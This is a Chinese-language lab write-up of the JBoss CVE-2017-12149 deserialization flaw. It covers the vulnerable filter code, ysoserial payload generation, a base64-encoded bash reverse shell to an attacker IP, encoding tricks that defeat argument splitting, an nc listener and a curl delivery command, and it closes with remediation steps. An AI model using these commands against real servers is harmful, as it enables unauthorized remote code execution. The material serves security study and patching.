- 漏洞描述
互聯網爆出JBOSSApplication Server反序列化命令執行漏洞(CVE-2017-12149),遠程攻擊者利用漏洞可在未經任何身份驗證的服務器主機上執行任意代碼。漏洞危害程度為高危(High)。 - 影響范圍
漏洞影響5.x和6.x版本的JBOSSAS。 - 漏洞原理
- JBOSS Application Server是一個基於J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。
- Java序列化:把Java對象轉換為字節序列的過程
- Java反序列化:指把字節序列恢復為Java對象的過程。
- 漏洞分析
- Java序列化與反序列化作用:便於保存數據,或者進行數據傳輸。
- Java序列化文件文件頭對於序列化的標識:
AC ED 00 05
序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
- 漏洞出現在 Jboss 的 HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,源碼在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中,其中doFilter函數代碼如下:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject();
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
直接從http中獲取數據,在沒有進行檢查或者過濾的情況下,嘗試調用readobject()方法對數據流進行反序列操作,因此產生了Java反序列化漏洞。
實驗環境
- 操作機:kali linux 64位。
- java.lang.runtime.exec() payloads編碼
實驗工具
- ysoserial:是一款擁有多種不同利用庫的Java反序列化漏洞payload生成工具,能方便的生成命令執行Payload並序列化。本實驗主要使用生成Payload功能。
- Github: ysoserial
- 使用參考博客:java反序列化工具ysoserial分析 – angelwhu
實驗步驟
Step:1 ysoserial
-
在終端輸入
firefox http://172.16.12.2:8080打開目標機jboss默認界面。之后進入漏洞頁面http://172.16.12.2:8080/invoker/readonly。http響應碼500(內部服務器錯誤——服務器端的CGI、ASP、JSP等程序發生錯誤),分析猜想,此處服務器將用戶提交的POST內容進行了Java反序列化。


-
使用工具ysoserial來生成序列化數據,構造
POC(Proof Of Concept),使用bash反彈Shell,nc接受反彈回來的Shell。 -
從github下載工具
ysoserial后,打開源代碼能看到在處理數據時使用了Runtime.getRuntime().exec(String cmd),此時調用Runtime.getRuntime().exec(String command, String[] envp, File dir),直接構造的字符串會被下面的代碼分割:
/**
* Constructs a string tokenizer for the specified string. The
* tokenizer uses the default delimiter set, which is
* <code>" \t\n\r\f"</code>: the space character,
* the tab character, the newline character, the carriage-return character,
* and the form-feed character. Delimiter characters themselves will
* not be treated as tokens.
*
* @param str a string to be parsed.
* @exception NullPointerException if str is <CODE>null</CODE>
*/
public StringTokenizer(String str) {
this(str, " \t\n\r\f", false);
}
- StringTokenizer會對\t\n\r\f進行分割,所以如果輸入命令
bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`
- 會變成
bash
-c
`bash
-i
>&
/dev/tcp/127.0.0.1/21
0>&1`
-此時需要進行編碼,編碼網站,勾選bash。

注:Linux下的${IFS}也可進行編碼,${IFS}的hex值是0x20 0x09 0x0a,因此不被分割,可以利用在寫shell時的命令中。需要注意是,${IFS}編碼后的命令中有空格,重定時,文件名中有空格會造成命令解析不完整,寫入文件會失敗。而在反彈shell命令中,就會導致模糊的重定向錯誤。
Step:2 構造生成Payload
- ysoserial的用法:
java -jar ysoserial.jar [payload] '[command]' - [payload] : 利用庫,根據服務器端程序版本不同而不同,若如報錯,可嘗試跟換其他利用庫。
- [command] : 待執行的命令。
- 執行命令:
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

- 設置nc本地監聽端口6666
nc -l -p 6666。 - 發送請求,獲取Shell。服務器接收到以POST的方式發送的序列化數據,會進行反序列化,執行其中包含的命令,將Shell反彈至Kali機器的6666端口。我們使用curl命令發送請求,打開命令行,執行如下代碼:
curl http://172.16.12.2:8080/invoker/readonly --data-binary @poc.ser

- Shell彈回至nc監聽的端口。

漏洞建議:
- 升級新版本。
- 刪除
http-invoker.sar組件。 - 添加如下代碼至
http-invoker.sar下web.xml的security-constraint標簽中:<url-pattern>/*</url-pattern>用於對http invoker組件進行訪問控制。
